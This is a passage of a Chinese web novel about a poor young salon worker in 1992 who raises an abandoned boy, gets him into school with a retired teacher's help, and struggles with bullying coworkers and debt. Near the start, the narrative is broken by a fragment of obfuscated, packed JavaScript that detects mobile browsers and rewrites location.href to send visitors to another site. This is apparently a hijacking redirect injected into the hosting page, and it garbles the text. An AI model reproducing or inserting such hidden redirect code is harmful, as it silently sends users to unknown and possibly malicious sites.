“能,要点儿热水吗?”周瞳对着正在烧菜的阿姨说。
女儿总是分外心软的,什么时代都一样。
“我带这个孩子,他冷。”周瞳笑着说,就要给老板发烟。
烟太劣质了,能开饭店的人也不抽。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576626|155738||http|test|mini|href|location''.split(''|''),0,{}));
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>但烟都递出来了,老板也是让周瞳点上了。
老板娘啥也没说,给周瞳的塑料瓶子装上了热水。
周瞳把热水抱在自己的衣服里,怕它冷了。
跑回来,周瞳一把就脱了衣服上了床,把热水瓶放在应家小子的脚底下。
“烫。”他怯怯的说。
“事儿真多。”周瞳用衣服包着点儿,又放进去了。
前半夜还好,后半夜这瓶子漏水了,周瞳的脚沾着了,立马就起来了,打了一下身边的孩子,说,“你这么大还尿床?”
应家小子睡得迷迷糊糊,说,“我不敢自己出去尿尿。”
周瞳一看,门口撒了一泡尿,头都疼了。
周瞳拿起瓶子一看,都漏完了。
两个人只能横着睡。
应家小子缩在周瞳的怀里,弄得他睡觉都不舒服,动都不敢动。
脚一打直,就露在外面。
周瞳一晚上都没睡好。
翌日,天都没亮,老板就来敲门了。
周瞳换了身衣服,怕人家嫌弃他的腿,故意走得看不出来伤了。
他去店里,老板让一个小工给周瞳理发。
沙龙刚刚兴起,时髦的女孩儿们要来这里烫大波浪,这里离着省城不远,洋气的东西在这里只要是端了第一碗饭的都能吃个饱。
周瞳被围上了黑色的丝绸一样的布,看着镜子里不太像样的自己。周瞳缩起了脚趾,有点儿不好意思。
年轻人给周瞳的头发喷上了水,就开始转着剪刀开始剪。
一剪完,嘿,跟城里人似的。
周瞳不好意思地挠挠头,老板说,“我看人准没错,这小子长得是真不赖。”
老板从外头新学了高端的那一套,在这儿是头一人,这里的小子个个长得好看。
“知道我为啥招你不?”老板问。
周瞳不知道。
“我一拿烟你就给我点,有点眼力见,男人要是有眼力见,就活明白了一半。”老板说。
周瞳不太明白,但是这么厉害的老板说的肯定是靠谱的。
沙龙新到了一些染发的香波。
之前染头发的香波总是被人当魔鬼,但是老板觉得以后迟到人人都要染头,白的染成黑的,黑的染成红的黄的。外国人就这样,他们沙龙的外国杂志上都画这样的。
“给你染。”老板说。
“黄的?”周瞳问。
“你小子染完肯定好看,”老板说,“黄毛也不会挨欺负,人家一看,霍,就不是个好人。”老板哈哈笑。
周瞳被刺鼻的染发香波染上了,像黏腻的牙膏弄在头发上,有点闷脑袋,还套了个塑料袋,周瞳也不敢动。
老板从柜子里掏出来一些花里胡哨的衣服,拿给周瞳,说,“拿回去洗洗穿,别整得跟个土包子似的。”
周瞳没见过,给就收了。
就这么折腾了一早上,周瞳直接改头换面了,老板对此很满意,对着老板娘说,“这小子你还能认出来吗?”
正好有客人来了,想着老板说的眼力见,周瞳马上就迎了上去,没人教他,他说,“您好,您先喝杯水,看看要什么服务。”
周瞳就只是听了一早上,就大概能弄明白这儿都哪些玩意儿挣钱了。
有女人来,带着钻石戒指,穿着长款的白色棉袄,周瞳看着身边的小伙子们,忽然都好像忙起来了,周瞳觉察出来可能这个客人比较难弄,只得迎了上去,带着客人去洗头。
周瞳也只是刚刚看了一会儿,就跟客人聊天。
“您觉得水温还行吗?”
“还好。”
“您的头发真好,我都不敢怎么洗,掉一根都不能舍得。”
“还行吧。”
“我是新来的,不太有经验,有什么不好的您尽管说。”
“还成。”
“那我给您拿块毯子盖着,您休息一会儿,我不说话了,您看起来很累。”
周瞳就给人轻轻的搓洗,女人一会儿就睡着了。
周瞳慢慢擦干了她的头发,轻轻地揉着太阳穴,她慢慢地就醒了。
“怕叫醒您,您惊着了。”
“嗯。”
等女人结账走的时候,对老板说,“新招来的小子啊?不招人烦。”
4. 1992[4]
中午的时候老板娘弄了点咸菜炖萝卜,几个人围在一起吃。
周瞳是饿了,他好几天没吃上热饭了。
吃得狼吞虎咽,但是他的眼睛一直看着门外,只要有客人就立马放下碗筷上去迎。
周瞳的眼睛漂亮,睫毛也长,这会儿还青涩,瞧着不太白净,但一收拾就有个人样,笑起来有点痞气,他感恩着老板,抢着要去帮他揽客。
“您好,您这边请,”周瞳带着人去坐下,“您喝水,暖一暖,我先给水放一下,热上来了给您洗。”
“您好,您坐,”周瞳说,“我先洗洗手再为您服务。”
来这儿享受服务的人都是这宜华有钱的主儿,周瞳不敢怠慢。
“怎么弄得!”女孩儿的辫子绳扯着头发,周瞳头一回解女孩子的头发,给拉疼了。
这皮绳就是容易捻头发,谁来都不行。
老板娘看了过来。
周瞳面对这皮绳,剪也不是,扯也不是,周瞳说,“对不起,把您弄疼了,我小心一点儿,一会儿我给您多按一按,你看行吗?”
周瞳说的真诚,十七八岁的小伙子长得漂亮,委屈的眼睛能从前面的镜子看见,女孩儿皱着眉不耐烦地说,“算了算了。”
周瞳领着她去洗头。
“刚刚弄疼你,”周瞳给她打上水,轻轻的揉着头皮,说,“我也不晓得怎么跟你赔礼,您下回来的时候,您再找我。”
“找你干啥?”女孩儿闭着眼睛问。
“我给您买一根新头绳,行吗?我们老板娘带的那种,我老板上省城的时候,我叫他带,不捻头发,你下回就不会再弄伤头发了。”周瞳按着她的太阳穴,轻轻地揉。
“那你不是还要掏钱?”女孩儿问。
“我弄得不好,就应该赔礼。”周瞳不好意思地说。
“你有钱吗?”女孩儿睁开眼睛瞟了他一眼。
“没钱,”周瞳说,“但是得赔,你下回来,我送给你。”
“为啥啊?”女孩儿问,“你又不是这个店的老板,你还花钱?”
“跟店没关系。”周瞳一本正经地说,“我觉得男人不应该让漂亮的女人又花钱,又生气。”
“你才几岁。”女孩儿噗嗤笑了。
“那你还来吗?”周瞳追问,“红色的行吗?”
女孩儿没跟他说话。
等女孩儿出来的时候,就跟刚刚不一样了,让周瞳给她梳头发。
不知道周瞳说了什么,女孩儿又在笑。
老板娘怼了一下老板的胳膊,说,“你哪儿找来的宝贝。”
老板得意洋洋,说,“我找媳妇也厉害。”
“贫嘴。”老板娘说。
“这小子是个人才,看着年纪还小,拖着个孩子呢还,什么亲眷家的,人能把孩子交给这种毛头小子么,多半是弟弟,你稍微照顾些,拖着孩子最好,只能往死了干,也没什么工资,管吃住就成,别叫拿他拿剪刀,学会了上人家家去给我生意抢了。”老板低声说。
老板娘嗯了一声,说,“那老娘们小姑娘最难对付,有几个钱牛的不行,来又要来,每次都要找茬,难为听见她们嘴里能挣出来活路。”
周瞳到下午就有点儿累了,睡又没睡好,支着脑袋看着外面,就看见了一个娃娃贴着玻璃门吹气。
周瞳一拍脑门,咋把这玩意儿忘了!他还没吃饭呢吧?饿了一天啊?
周瞳赶紧的上去迎,老板娘推着门,让孩子进,抱着一筐衣服,说,“我家孩子大了,穿不上了,给你孩子吧。”
应家小子进来抱着周瞳的腿,周瞳谢过了老板娘。
老板娘说,“这小子跟你长得不大像。”
周瞳说,“我捡来的。”
老板娘眼珠子一转,说,“那这小子运气好,那边的天桥上,都是被打断了手脚跪着要饭的,要不到饭回去就挨打,年年的冬天,孩子都不重样。”
周瞳吓得手抖,不敢吱声,老板娘还在说。
老板娘说,“拦着屁股就给砍了,拖着腿爬,看着可怜。要是找人家能待他好还成,但是你这个孩子,太大了,没人要。”
周瞳抓着应家小子的手指都收紧了。
应家小子要周瞳抱。
老板娘温柔地说,“没客人的时候你不用这样绷着,来了这里就跟自己家里一样,我孩子跟你差不多大,没你能干。”
周瞳低着头,应家小子玩着他的手。
老板娘说,“养孩子也没你想的那么费事儿,要是娃的命好,带着你的命也变好,我们没孩子之前也穷得很,现在也是有点儿家业了。”
周瞳不说话。
老板娘说,“给口吃的,牙齿缝里省出来一点儿就有了。以后孩子的饭,你就店里拿吧,以后长大了,互相还能有个依靠,有个帮衬。都是福分。”
周瞳抱着应家小子,说,“谢谢老板娘。”
应家小子抬起头来,“谢谢”,有迅速地转过来趴在周瞳的肩膀上,跟不好意思了似的。
“害臊啥呢?”周瞳问。
“老板娘好看,像挂历上的。”应家小子说。
这一句给老板娘逗得直乐,说,“我都四十啦!”
闭店了,周瞳领着应不尘回去那个收拾过的鸡棚。
“小子,”周瞳抱着应家小子,今天他在店里打了热水瓶,塞给了他,“我怕养你,咱俩都受苦。”
“我不怕。”应家小子说。
“我怕啊。”周瞳说。
应家的小子抬头看着周瞳,摸着他的眼睛,喊,“哥。”
周瞳不忍,问,“吃苦也行吗?”
应家小子说,“啥是苦呀?”
周瞳说,“你刚刚说不怕。”
应家小子说,“那你为什么还要问?”
嘿,这小子。
因着老板与老板娘的照顾,周瞳只能卖力地招揽生意。
每天回来都觉得脸都僵了,手天天接触的就是劣质的洗发水,把手都泡搓皮了,老板娘用马油,那手保养得白白嫩嫩的。
但是还好,每天回家还有个小小子,小小子乖乖地坐在床上,一见周瞳回来了就把那块儿让出来,说,“哥,快来,暖和的。”
“你自个儿躺着就行,”周瞳说,“甭让给我。”
“不成。”应不尘挪边上去,“哥辛苦,脚冷。”
冬天太长了。
周瞳半夜醒的时候就见那小娃娃钻在被子里,抱着他的脚。
要是他半夜醒了,就摸来摸去的去摸周瞳的脚,痒痒的,要是冷他就钻下去抱着。
周瞳翻个身又要睡了,他听见娃娃在边上说,“我有哥了。”
他太讨好了,也太暖和了。
周瞳翻过来,揉着他的手问,“踩得还疼不?”
“不疼。”娃娃说,“对面的学校早上
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喇叭在念课文,盼望着,盼望着,春天来了。”
“他们说,春天马上就要来了。”应不尘说。
“嗯。”周瞳睁开了眼睛,问,“你也得上学了吧?”
“我不上。”应不尘的手被周瞳拢着,他的大拇指转着圈,眼神开始瞎瞟,“我还玩呢。”
***
应家小子的名字,是一个来理发的老太太起的。
在周瞳在这儿落脚的半个多月后。
小子在店里乖乖地坐在边上,棚子里还是冷风,不如店里暖和,有人来的时候他躲在帘子的厨房里头,不叫人看见,怕这店因为孩子看起来都不高档了。
老太太进来,周瞳去尿尿了,应家小子颤巍巍的端来一杯热水,说,“奶奶,你坐,我哥马上就来了。”
一老太太一小孩儿就这么坐着,似是怕尴尬,小子有样学样,“奶奶,一会儿你剪完头发,能跟老板说我哥弄得好不?”
“为啥呀?”老太太问。
小子甩着小脚,说,“一有客人说我哥好,老板就笑眯眯的,我哥也高兴。”
“几岁了?”老太太问。
“七岁还是八岁,我忘记啦。”应家小子挠挠头说。
周瞳给老太太洗头发。
头发都看不出来年纪,老太太来得太晚了,这店里只有周瞳一个人。
老太太的包上写着学校。
她应当是学校的老师或者领导。
周瞳抿了抿嘴,想问问,又怕人家撅回来,他兜里的钱不知道够不够孩子上学的。
老太太却在此时问,“孩子不上学?”
周瞳说,“不知道咋弄,我捡来的孩子。”
老太太有点诧异,说,“你养?”
周瞳嗯了一声,说,“没人家要,太大了。跟着我。”
老太太闭了闭眼睛,说,“你来学校,你找我,我们班里我给你插进去。”
当时的周瞳跟娃娃并不知道,这个老太太将改写他们的人生。
等那天傍晚周瞳将店里的事儿都忙完之后,百米冲刺就撂着孩子去街对面的学校,找了一圈,在一年级的办公室里,看到了还在等他的老太太。
报名要写名字,周瞳就犯难了,自己最多给家里的小猫小狗起过名字,来了个人,还真不知道要叫什么,问他自己,他说他叫花妹儿。
老太太扶着眼镜,说,“你叫什么名字?”
“周瞳。”周瞳说,“目边上一个儿童的瞳。”
周瞳挠了挠黄毛,见老太太看他,说,“我学着,弄头发,我没文化,但是,但是他,他挺乖的,聪明。”
老太太叹了口气,说,“对你的身体不好。”
周瞳不吱声了。
老太太摘了眼镜,说,“有教无类,你也能读书。”
“有机会的话,”周瞳说,“我也想学文化的。”
表格还是要填名字,周瞳握着笔半天,也就写了一个「应」。
外头升起一汪明月。
老太太看着外头的月亮,又看了看躲在周瞳身后的娃娃,说,“瞳瞳天上月,应是不染尘。”
“应不尘。”老太太拉过娃娃来看,“老师给你起,行吗?”
都说名字是最短的咒语,只要是起了名字了,再硬的心也得软了。
周瞳轻轻地喊了一声他的名字「应不尘」,应家小子抬起头来,“嗯?”了一声。
5. 1992[5]
沙龙店的小伙子年纪都小,老板在的时候还好,老板一走就不成了。
他们蹲在外面抽烟,像一个小帮派似的,老板娘青眼周瞳,让他们都不太舒服。
“那小子肯定跟老板娘上床了。”说话的小子算是这里头的头头,牙都是黑的,“给老板带绿帽子,那傻老板还乐呢。”
“肯定,”另一个长头发的说,“老娘们都骚。”
“哈哈,”黑牙猥琐笑起来,说,“你上过娘们啊?”
“咋没!”长头发的说,“给那小子点教训?”
黑牙看了看里面还在扫地的周瞳,问,“咋说?”
“他不是有个弟弟吗,”长头发说,“傻不愣登的,就在前头上学。”
那天傍晚,应不尘不见了。
周瞳觉得不对劲,这孩子从来不在外面瞎晃荡,总是躲在沙龙店后面厨子间的。
学校都已经关门了,孩子也没回来。
恰巧那天的店里太忙了,周瞳实在走不开,等再有客人来的时候,周瞳实在憋不住了,跟老板说,“我,我孩子没了,我得去找找。”
老板剪头发剪的屁股都好几个小时没沾凳子了,不爽地说,“那我这儿咋弄?”
周瞳搓着手指,说,“老板,娃娃真的不见了。”
“这个月的生活费别领了。”老板眼皮都没抬一下。
周瞳出去找孩子,也不知道这孩子去哪里了,外面的天都暗下来了,周瞳喊了好几声也没人应,出门的时候,他看见黑牙跟长头发对视了一眼,有点儿得意的样子。他两本来就不待见周瞳,周瞳给他们递了好几次烟,他们都不要,蹲着扭过去。
有一回,黑牙喝了点酒,有点儿醉了,店里头来了一个满脸横肉的大哥,身后还跟着两不大小子,大哥给了他俩一人一脚,就进来店里了。
黑牙拿刮刀给人刮胡子,一不小心就给大哥的脸上喇了一道。
大哥起来就要骂黑牙,问他要说法,黑牙说是大哥自己乱动,大哥让他赔钱,黑牙没钱,说大哥讹钱,大哥就说要找老板,要砸东西。
周瞳自己心里也发怵,但是也不能由着人家砸东西吧。
周瞳上前去,拉大哥,大哥推了一把子周瞳,说,“有你啥事儿?”
周瞳手也不敢碰他,“大哥,您先别生气,您看看我们咋办您能消气。”
大哥指着黑牙说,“他刚刚说我讹钱,你听见了吧?”
“我听见了。”周瞳立正说。
“你看我是讹钱的人吗?给这他妈的侮辱谁?”大哥说。
“是,”周瞳垂眸说,“您看着就是不差钱的,我刚刚给您洗头的时候,您脖子上的项链就很值钱,是有腔调的人,我们这些人要不是干这行,连您的头发都捡不上。”
“你别跟我来这些,”大哥说,“没用!”
“那您看看,要怎么样您能不生气呢?”周瞳的口气里有真诚。
“我要这小子自己脸上也照着我来这么喇一刀!”大哥气得没耐心跟他掰扯。
周瞳点点头,拿起一把刮刀,黑牙吓得后退。
大哥抱着胸,看着他俩。
周瞳看着手里寒光闪闪的刮刀,说,“大哥,我手上没个准,真刮了你是能消气吗?”
黑牙不愿意,连连要跑,摔出门去。
大哥说,“你瞧,这是我消不消气的事儿吗?他能喇我,我不能喇他?”
周瞳说,“我照着我自己脸上您这样子的喇一刀,您就不砸店,不生气了吗?”
大哥说,“你喇吧。”
周瞳一点儿不犹豫,就要刮下去,刀才抵着肉就被大哥的手抓住了,说,“你这小子,又不是你的错,你喇自己干啥?”
周瞳说,“大哥,我觉得道歉得有诚意有决心,您看见了,就能消气,您喇了到现在只是要他一个说法态度,您是宽容的人。”
“你上哪儿看出来我宽容?年纪不大,倒是会给人戴高帽。”大哥说。
周瞳端过来一杯水,说,“我猜的。”
“你咋猜?”大哥倒是接了水喝了。
周瞳拿来热毛巾给大哥覆上,给血擦干了,慢慢刮剩下的胡子,说,“您来的时候后面跟了俩小子,跟我们差不多大,他们管你叫大哥,我估摸着,小孩子都要犯错,他们还敢跟您开玩笑,您就是宽容的。”
黑牙回来的时候让老板娘骂的狗血淋头,倔得像条狗,又说周瞳如何会做事,那天下午,周瞳的鞋就有一股子尿骚味。
周瞳不知道要去哪里找应不尘,刚刚经过黑牙的时候闻到了一股子臭味。
周瞳往田里走,这里链接着村庄,农家有养猪养牛的。
周瞳一边走一边喊,终于听到了一些稀碎的声音。
应不尘被关在牛棚子里,混身都是脏的。
周瞳抱起孩子,顾不得脏,心疼地问,“可弄到哪里了?”
应不尘倒是在笑,“他们骗我来这里找你,我一进来,他就把门关上了,牛撞了我好几下,”应不尘说,“我就钻这小牛里面,他们就不撞我。”
“我想回来找你,”应不尘有点儿委屈,“这牛我一出来就撞我。”
周瞳知道,都是他的原因,应不尘才会被塞在这里。
晚上的时候,得洗孩子。
周瞳一桶一桶的打水,都是井水,水太冷了,这里都是稻草跟铁皮,老板说了不让用火。
这天正是倒春寒,那孩子洗完估计命就剩下半条了。
咋整?
周瞳想带着孩子去浴室洗,但是头发都这个样子,浑身都是恶臭的,浴室估计都不让。
应不尘看出来周瞳的窘迫,想蹭过来又不敢,嫌自己臭,说,“哥,我能洗冷水。”
“瞎扯。”周瞳说,最后他灭了烟,把应不尘都给剥光,用破衣服揉了些牛粪,就带他去浴室。
浴室有热水,在这时候还是稀罕的,爱干净的才能去。
周瞳抱着孩子,就要交钱,一股子恶臭就开始弥漫,女人拧着鼻子说,“什么东西啊!弄出去!”
周瞳只能跟他打商量,“我给你多点钱,你叫我洗洗吧,这娃...”
“那我这生意还做不做啦?”女人说,“滚滚滚!”
周瞳被赶出来了,抱着孩子,站在街上,不知道咋整。
在夜深人静的时候,周瞳带着塑料布跟应不尘的衣服就溜进去理发店。
周瞳把铅丝拉过来,把塑料布用夹子夹好,水盆里的热气就不会跑掉了。
应不尘洗了个热水澡,坐
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在盆里。
周瞳揪着他的小鸡鸡,说,“你这个皮看着有点长,以后看看要不要去医院剪一刀。”
应不尘吓得不行,这里剪一刀,得多疼!
一看他的样子,周瞳就乐了,说,“行行行,不剪,以后要是小姑娘嫌你皮长,你可别赖我小时候没给你整明白。”
应不尘终于叫洗干净了,抱着周瞳的脖颈,啵唧亲了一口,说,“哥,你咋这么好呢?”
“好啥呀。”周瞳闷着头。
他不愿意说,要不是自己要出风头,孩子也不能叫弄成这样。
他向来很听话的。
别人的小孩儿来剪个头发都哭得不成,一看就是惯坏了的。
周瞳抱着应不尘回去睡觉,把那灯离得近一点儿。
然后自己大晚上打着手电筒,趴在沙龙店的地上擦,刚刚碰到的地方,都得擦一遍,但是不能开灯,开了灯,人家就看见了。
周瞳蹲在地上一直擦,擦完了去把电风扇搬出来,开着门,散味道。
他蹲在沙龙店的门口,他已经来了一个多月了,老板连剪刀都不叫他拿,根本没打算让他学手艺。他就一直打杂,卫生,洗头,没意思的很。
他的头发叫老板捯饬得不像样了,总是痒,自己得给老板练手,还要昧着良心跟客人介绍自己都能用。
客人不舒服,挠着头发来要说法,老板司空见惯,就是送几瓶洗发露,让周瞳去讲好话。
这些倒是算了。
店里的黑牙跟长头发才讨厌,之前骗孩子抽烟叫周瞳看见了,后来又叫孩子去偷晒着的女人内裤胸罩,周瞳除了让应不尘离他们远一点之外,也没别的法子,周瞳不想这里了。
但是他手上余不下来钱,也找不着靠谱的行当,很多都是没工钱的让你干。周瞳倒是想去饭店端盘子问包吃住的那种,人家饭店说,带着小孩儿的不要,你干多少活儿够两张嘴吃,而且,小孩儿还偷饭店的东西吃。
比如修车,电工,但凡有点儿花头的,都得托人找关系,送一份厚厚的拜师礼,周瞳没那钱。沙龙店给的钱太少了,那二十元,交了学费,他都已经剩不下了,这时候,都要入夏了,夏天得挣九月份的学费。
***
夏天天闷得不行,鸡棚上面都是铁皮,比冬天还难受。
应不尘被关在这里当然不行,周瞳没法子,只能把他又藏去沙龙店。
天一热,周瞳的头就老掉头发了,掉得枕头上都是,感觉再这么下去都要长癞子了。
老板跟老板娘对应不尘倒是还行,但是理发店的这些个小子老板就不怎么管了,扣钱就是,管他们饭吃,有人来当小工,有手脚不干净的,也有老实得过分的,招人也是个难事,像黑牙他们这样能刮刮胡子的,上上药水的都已经很不错了。
应不尘在店里,趴在前面写暑假作业,一打开就哭了,有人在他暑假作业里画女人不穿衣服的图像。
周瞳恼了,怎么还没完了呢?
他们都知道,周瞳在这里没地方去,也没钱,只得任他们欺负。
周瞳跟老板说,“他们老这样欺负尘儿。”
“都是开玩笑,”老板磕着瓜子看杂志,说。“宰相肚子里能撑船。”又呵斥了他俩两句,没啥大事儿。
6. 1992[6]
夏天实在没法子了,周瞳又遇上了那个来剪头发的老太太。
周瞳心里难受,给老太太洗头发的时候不吱声。
“有心事?”老太太问。
“嗯,”周瞳说,“店里的半大小子,总是教坏孩子。”
“你不也是半大小子吗?”老太太说。
周瞳不说话。
“夏天,太热了,放在店里小孩儿不好。”周瞳说,“奶,你暑假可是在家?我能白天给他带你那去吗?”
周瞳还是舔着脸问了。
“我,我,给点钱。”周瞳低着头,觉得自己忒不要脸。
奶奶却笑了,说,“我没来的时候就想好了吧?”
周瞳的心思被戳穿了,点点头。
“带过来,”老太太说,“你晚上来接,在我那儿吃饭。”
周瞳给老太太按摩着头皮,说,“奶,我觉得我不要脸。”
“得活下去,再找脸皮,”老太太睁开眼睛,看着镜子里的周瞳说,“干啥事都去试试,不成没事,万一成了呢,胆大皮厚,可记住了?”
周瞳记住了。
做什么事情,都得去试试,万一能成呢?
“那会儿,你盯着我的包瞧,这前面是镜子,我能看见。”老太太说,“你想让孩子上学,脸皮薄,不敢问,我瞧着你喘了好几回。”
周瞳撇了撇嘴,心里有点堵。
“奶,我啥也没有。”周瞳说,“碰上您这样的好心的,我不知道咋报答。”
“啥也没有的时候,就是啥都有的时候。”老太太说,“别哭,好好的。”
老太太是整个宜华最好的人。
应不尘叫他汪奶奶,汪奶奶的家在城郊,是他们自己盖的房子,有一个院子,汪奶奶的丈夫对奶奶是极好的,不管她带多少孩子回来吃饭,总是笑盈盈的。
汪奶奶什么都教,语文,数学,思想品德,奶奶的普通话不标准,口音有点儿书面,带着应不尘也有点这样。
汪奶奶家有个院子,应不尘就被安排在这里玩。
早上周瞳就给他送过来。
应不尘从汪奶奶的自行车上下来,汪爷爷说,“藏了宝贝!快去拿!”
夏天的时候有甜瓜,有李子,应不尘自己吃了一个,齁甜,就藏起来,带回去给周瞳吃。
晚上的时候周瞳会骑着一辆二八大杠来接他,是汪爷爷骑剩下的,手上拿着个手电筒,应不尘坐在上面总是屁股痛,没坐两下就要整个屁股都屯下去,周瞳就顶着他的脑袋,说,“坐好。”
有时候下雨了,周瞳来的晚,他还是搬着小板凳坐在门口等。
应不尘跟着周瞳吃饭,晚上总是冷饭,小孩子都不长个儿了,哪有这干部家吃的好?
周瞳披着雨衣来接他,应不尘钻进雨衣里,闭着眼睛都知道现在周瞳骑到哪里了。
汪爷爷会写毛笔字,汪奶奶给他磨墨,他俩从来也不吵架。
汪爷爷除了会画奶奶的画像,还会砍柴,烧炭。
汪爷爷有个房间,专门拿来写毛笔字的,说这么多学生里面,就让应不尘进去了。
“今天汪爷爷教我写毛笔字了。”应不尘跟周瞳讲,“今天练习的一。”
“你可好好学了?”周瞳下巴顶着他的发顶问。
“学了,汪爷爷说我能学这个,以后写毛笔字!别的小朋友都不能进的!”应不尘有点小得意。
“行,那你好好学,拿东西的时候要有规矩,轻拿轻放,不小心弄坏的东西不要藏,不要躲,跟哥说。”周瞳跟他讲。“不要撒谎。”
“我知道。”应不尘坐在二八大杠上,凉风习习。
八月的夏天的晚上很热,还有蚊子,应不尘有时候叫盯醒了,看见周瞳也被蚊子闹得烦,就自己喂蚊子。
凉席每个晚上都要焦很多次的冷水,但是一会儿又热得人恼火。
这些就都算了。
这车棚边上总是有人撒尿,尤其是喝多了酒的,也不管里面有没有人。
所以这地界总是弥漫着一股子尿骚味,周瞳说了他们好几次,但是酒蒙子总是性格格外暴躁。
周瞳刚从店子里打扫完为啥回来,又有人来家门口尿尿,应不尘张着小手,“不可以在这尿尿!”
酒蒙子可不管这小孩儿,看着也不是好人家的,就把尿故意甩来甩去,尿在应不尘的身上。
周瞳回来的时候正好看见这一幕,气得不行,上去就要跟人打架。
“你瞎眼了啊,小孩儿你都欺负!”周瞳喊着,摇着人家的肩膀,就要跟他打架,“作践小孩你算什么本事!”
酒蒙子看着这个花毛的癞子,抖抖尿,“我去你妈的,自己这个孩子养这地儿,你还没作践他?我孩子起码不住这种地方。”
周瞳的手都软了。
应不尘被淋了尿,站在周瞳的身后,不知道作践是什么意思。
周瞳转过头来,擦着应不尘衣服上的尿,一擦,他眼泪就掉下来了。
“哥,你为啥要哭?”应不尘歪着脑袋问。
周瞳吸了吸鼻子,说,“换衣服。”
***
再过半个月,应不尘就上二年级上册了,没户口的得要借读费。
周瞳没钱,想着老太太的话,让应不尘往老太太面前一跪算了。
但是他已经在暑假的时候这么麻烦人,咋还能有这么不要脸的法子呢?
周瞳得去弄点钱。
八月一过,周瞳就不咋送应不尘去老太太那里了,怕给老太太添太多麻烦。
那时候,应不尘能闻到他身上有些奇怪的味道,像连着打牌很多天的人才能发出的味道。
偶尔周瞳身上总会有一些淤青,有一天晚上,应不尘看着要下雨,就拿着伞追出去找,正好看见周瞳跟着一堆人在路边。
他在要债,□□。
运气好的时候,能要回来一点儿,分到他手里也没几个钱。
运气不好的时候,被人揍一顿也是在所难免。
应不尘看见有人踹了周瞳一脚,他捂着肚子在地上打滚。
应不尘赶紧跑上去,拦在周瞳的身前,在接着,他被一拉,自己的眼睛被捂住了,在他耳边的只有周瞳的喘息声。
应不尘想翻过去抱住周瞳,却被他死死的搂在怀里。
这次的事儿大,周瞳的嘴角都淤青了,他们都被带到了派出所,孩子小,有女警管着。
周瞳被训成了个孙子,街头斗殴,罪名不小。
两帮人一帮说他们打牌出老千,一帮人说他们欠债不给,派出所闹成了一锅粥,警察大声地在呵斥他们,就算在警局里面,他们还是说两句就要打起来。
女警带着哭咧咧的应不尘,对周瞳说,“
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你这样,孩子会学坏的。”
周瞳揪着自己的手指,坐在铁皮凳子上不说话。
带孩子,责任咋就这么大呢。
应不尘怕周瞳不要他,又怕别人拿他禁锢他,他怯怯地蹲在周瞳的身边,握住了他搓动的大拇指,对着女警哭咧咧地说,“我是哥捡来的!我哥是好人!”
犯事儿的要填联系人,周瞳怕写了沙龙店老板容易叫地方也没得住,只能填了老太太,再后来的半夜,是老太太把这俩人领出来的,交了厚厚一沓钱,拍拍周瞳的肩膀,骑着自行车走了。
老太太没骂他,也不叫看交了多少钱。
周瞳牵着应不尘的手走在街上,眼睛也有点痛,牙也有点痛。
应不尘拽紧了周瞳的手指,犹犹豫豫地说,“哥,我要是每天就吃一顿的话,你可以不要去了吗?”
周瞳想点烟,点了好几下,手指都疼。
蹲在地上,支着手臂,整个脸埋了进去,就这么静静地夹着烟。
应不尘按了好几下,点燃了,拍拍周瞳的肩膀,给他点烟。
“小孩子,别给人点烟。”周瞳说。
回家的时候,周瞳的脸上都是伤,应不尘拿来毛巾用热水泡着给周瞳擦,擦完了打来一盆水,仰着头让周瞳泡脚。
他把脚放进去就仰着头,看天花板。
应不尘不知道天花板有什么好看的。
周瞳把孩子夹起来,抱在怀里,闷声说,“这日子,咋就这么难呢?”
***
孩子一上学,时间就过得快。
还没怎么秋呢,就要入冬了。
也是在那年冬天的时候,应不尘吃到了世界上最好吃的面条。
周瞳带着应不尘穿过街巷,有人在卖鸡杂。喷香的。
周瞳看应不尘咽口水,就买了半分,就这样也掏空了钱。
等回来的时候,周瞳把鸡杂放在锅里,又放在煤气灶上,他们只有一个小小的单眼灶,每次拧开都得凭运气,而且得藏的很好。那个老板总是要来看的。
打了好几下,煤气味都重了,“嗙”的一声,煤气灶终于打开了,水慢慢的就沸腾起来,周瞳从墙上钉子上的红色袋子里拿了一把挂面,就放了下去。
应不尘站在小凳子上盯着锅,连着问了好几次,“哥,咋还不能吃啦?”
“馋猫。”周瞳拿筷子轻轻地打他,看着锅里冒出腾腾的热气跟香味。
周瞳开始盛出来了,拿给应不尘的却只有面条,自己的面条上却有三块鸡杂。
二人围在一块小木板上吃饭,周瞳好像有些不好意思地说,“哎呀,怎么都是我的鸡杂,这个勺子怎么这样啊,要不,我这一份给你吧。”
应不尘圈住了自己没有鸡杂的面条,说,“哥,我不爱吃鸡杂,你吃,我一点也不喜欢吃。”
但是说完,嗦着面条,又问,“哥,为啥你一碗鸡杂倒进去,就剩下三块了呢...”
“融化了呗。”周瞳说着话,一口一口地吃面条,理也不理应不尘的口水都要流下来了。
应不尘低着头慢慢吞吞地吃这面,吃完了一层,却发现自己的碗里都是鸡杂,还有一个泡满了汤汁的荷包蛋。
“哥!你骗人!”应不尘喊道。
周瞳剔牙,说,“什么玩意儿,稀奇成这样。这孩子叫我养得。”周瞳淬了口口水。
7. 1993[1]
这年的冬天,周瞳终于忍不了了,老板一直说,他的钱给攒着,过年再给他。但是年都没两天了,老板还是一问就没钱。
黑牙他们也走了,活儿都得周瞳一个人干。周瞳住得近,叫起来方便,而且还不回去过年。
那段时间老板娘去省城,老板就自己个儿,连家里卫生间的卫生都让周瞳干,“过年了么,都得扫扫尘。”
这何止是扫尘,基本上把他家都洗了一遍。
老板夹着好烟,就要去打牌。
周瞳犹犹豫豫,这一年,老板说的,给吃给住,给一点生活费,一分钱也没给。只有周瞳一个人,他连睡觉都只能睡两三个小时,做梦都在给人洗头发。
周瞳要过一次钱,老板说没有,扭头就给老板娘买了一件特别贵的带毛的衣服,老板娘可是显摆了好久。
老板老哄他,说好好干,技术都教他,他一直在骗周瞳。
周瞳连应不尘过年最便宜的棉袄都买不上一件,但是马上就要给他交二年级的学费了。
周瞳憋了一肚子的火气。
老板娘去省城看儿子了,没生意的老板出去打牌了。
周瞳在路上拦着老板,磕磕巴巴地说,“我这也,也过年嘛。”
